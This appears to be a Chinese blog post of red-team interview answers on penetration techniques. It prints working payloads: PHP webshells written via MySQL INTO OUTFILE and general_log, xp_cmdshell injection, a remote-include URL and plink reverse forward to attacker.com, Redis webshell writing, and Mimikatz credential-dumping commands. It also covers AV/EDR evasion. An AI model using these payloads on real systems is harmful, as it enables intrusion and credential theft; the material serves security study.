2025年渗透测试面试题总结-2025年HW(护网面试) 47(题目+回答)

发布于:2025-07-18 ⋅ 阅读:(20) ⋅ 点赞:(0)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 2025年HW(护网面试) 47

1. UDF提权

2. 命令执行与代码执行的区别

3. 文件包含利用姿势

4. 漏洞复现流程

5. SQL Server注入相关

6. 预编译如何绕过SQL注入

7. 内网正向代理与反向代理

8. Mimikatz使用

9. 目标出不了内网的解决方案

10. 绕过disable_function方法

11. MySQL写Shell方法

12. Redis漏洞利用

13. SQLMap os-shell写入文件

14. 最近研究方向

15. 免杀技术(Bypass AV/EDR)

16. Java反序列化漏洞

 2025年HW(护网面试) 47

1、udf提权
2、命令执行与代码执行的区别
3、文件包含利用姿势
4、漏洞复现
5、sqlserver的注入相关
6、预编译怎么进行sql注入
7、内网的正向代理和反向代理
8、mimikatz的使用
9、目标出不了内网咋办
10、如何绕过disable_function
11、mysql进行写shell的方法
12、redis的漏洞利用相关
13、sqlmap的os-shell写了哪些文件
14、最近在研究啥
15、免杀
16、java的相关的反系列化

1. UDF提权

  • 原理:利用MySQL自定义函数(UDF)加载恶意共享库(.so/.dll),执行系统命令。
  • 步骤
    1. 上传编译好的UDF库(如lib_mysqludf_sys.so )到插件目录。
    2. 创建UDF函数:CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';
    3. 执行命令:SELECT sys_exec('id');
  • 条件
    • MySQL有FILE权限且secure_file_priv为空。
    • 知晓服务器绝对路径。
  • 防御:限制FILE权限,设置secure_file_priv,禁用动态库加载。

2. 命令执行与代码执行的区别

类型 命令执行(RCE) 代码执行
执行环境 直接调用操作系统命令(如/bin/sh 在编程语言解释器中执行代码(如PHP的eval()
危害范围 影响整个系统 受限于语言环境(如PHP沙盒)
示例函数 system(), exec() eval(), assert()

3. 文件包含利用姿势

  1. 本地文件包含(LFI)
    • 读取敏感文件:/etc/passwd、配置文件。
    • 结合日志注入:包含Apache日志写入PHP代码。
  2. 远程文件包含(RFI)
    • 加载远程恶意脚本:http://attacker.com/shell.txt
  3. 协议利用
    • php://filter读取源码:php://filter/convert.base64-encode/resource=index.php
  4. 无回显利用
    • 触发错误日志或延时判断(盲注)。

4. 漏洞复现流程

  1. 环境搭建:使用Docker/Vulhub快速部署漏洞环境。
  2. 漏洞验证
    • 手工测试:构造Payload触发漏洞(如SQLi、XSS)。
    • 工具辅助:Burp Suite、SQLMap。
  3. 利用链构造:结合多个漏洞实现RCE(如LFI+日志注入)。
  4. 结果验证:获取Shell/敏感数据,记录复现步骤。

5. SQL Server注入相关

  • 堆叠查询'; EXEC xp_cmdshell 'whoami'--(需开启xp_cmdshell)。
  • 差异备份写Shell:利用备份功能写入ASPX木马。
  • 盲注函数WAITFOR DELAY '0:0:5'CHAR()
  • 权限提升EXEC sp_addsrvrolemember 'user', 'sysadmin'

6. 预编译如何绕过SQL注入

  • 预编译原理:SQL语句与参数分离,避免拼接。
  • 绕过场景
    1. 二次注入:参数入库后被其他功能拼接使用。
    2. 非参数化部分:如ORDER BY后接动态字段名。
    3. 存储过程动态SQL:内部使用EXEC()执行拼接语句。

7. 内网正向代理与反向代理

类型 正向代理 反向代理
角色 客户端主动连接代理访问目标 服务端通过代理接收外部请求
渗透应用 内网穿透(如SSH -L端口转发) 隐藏内网服务(Nginx反向代理)
工具 frp、Proxychains Ngrok、Cobalt Strike

8. Mimikatz使用

  • 常用命令
    1. 抓取明文密码:sekurlsa::logonpasswords
    2. 导出Kerberos票据:kerberos::list /export
    3. PTH攻击:sekurlsa::pth /user:admin /domain:test /ntlm:xxxx
  • 绕过防御
    • 使用内存加载(无文件执行)。
    • 禁用LSASS保护检测(需管理员权限)。

9. 目标出不了内网的解决方案

  1. DNS隧道:使用dnscat2传输数据。
  2. ICMP隧道:icmpsh或PingTunnel。
  3. 端口转发
    • 正向代理:ssh -L 8080:内网IP:80 user@跳板机
    • 反向代理:plink -R 4444:localhost:80 attacker.com
  4. Web通道:利用HTTP长连接传输数据(如ReGeorg)。

10. 绕过disable_function方法

  1. LD_PRELOAD劫持:通过恶意so文件劫持函数调用。
  2. ImageMagick漏洞:利用CVE-2016-3714执行命令。
  3. FFI扩展:PHP 7.4+的FFI接口直接调用系统函数。
  4. COM组件(Windows)new COM("WScript.Shell")执行命令。

11. MySQL写Shell方法

  1. INTO OUTFILE
    sqlSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'; 
  2. 日志文件写入
    sqlSET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php eval($_POST[cmd]); ?>'; 

12. Redis漏洞利用

  1. 未授权访问:直接执行CONFIG SET dir /var/www写入SSH密钥或Webshell。
  2. 主从复制RCE:伪造恶意主节点,同步加载恶意模块。
  3. Lua沙盒绕过:CVE-2022-0543执行系统命令。

13. SQLMap os-shell写入文件

  • MySQL:写入UDF库(如/usr/lib/mysql/plugin/udf.so )和临时Webshell。
  • MSSQL:通过xp_cmdshell生成Bat脚本或VBS脚本。
  • Oracle:利用DBMS_ADVISOR写入Java类文件。

14. 最近研究方向

  • AI模型安全:对抗样本攻击、模型逆向工程。
  • 云原生渗透:Kubernetes逃逸、Serverless函数漏洞。
  • 硬件安全:物联网设备固件分析、旁路攻击(如功耗分析)。

15. 免杀技术(Bypass AV/EDR)

  1. 静态免杀
    • 加密Shellcode(AES/XOR)。
    • 代码混淆(如Polymorphic代码)。
  2. 动态免杀
    • 内存加载(无文件执行)。
    • API调用混淆(如直接系统调用)。
  3. 工具:Cobalt Strike Artifact Kit、Shellter。

16. Java反序列化漏洞

  • 利用链
    1. Commons CollectionsInvokerTransformer链触发RCE。
    2. Fastjson:JNDI注入(如CVE-2021-45046)。
    3. JDK原生链AnnotationInvocationHandler
  • 防御:升级依赖库,启用反序列化过滤器(JEP 290)。

网站公告

今日签到

点亮在社区的每一天
去签到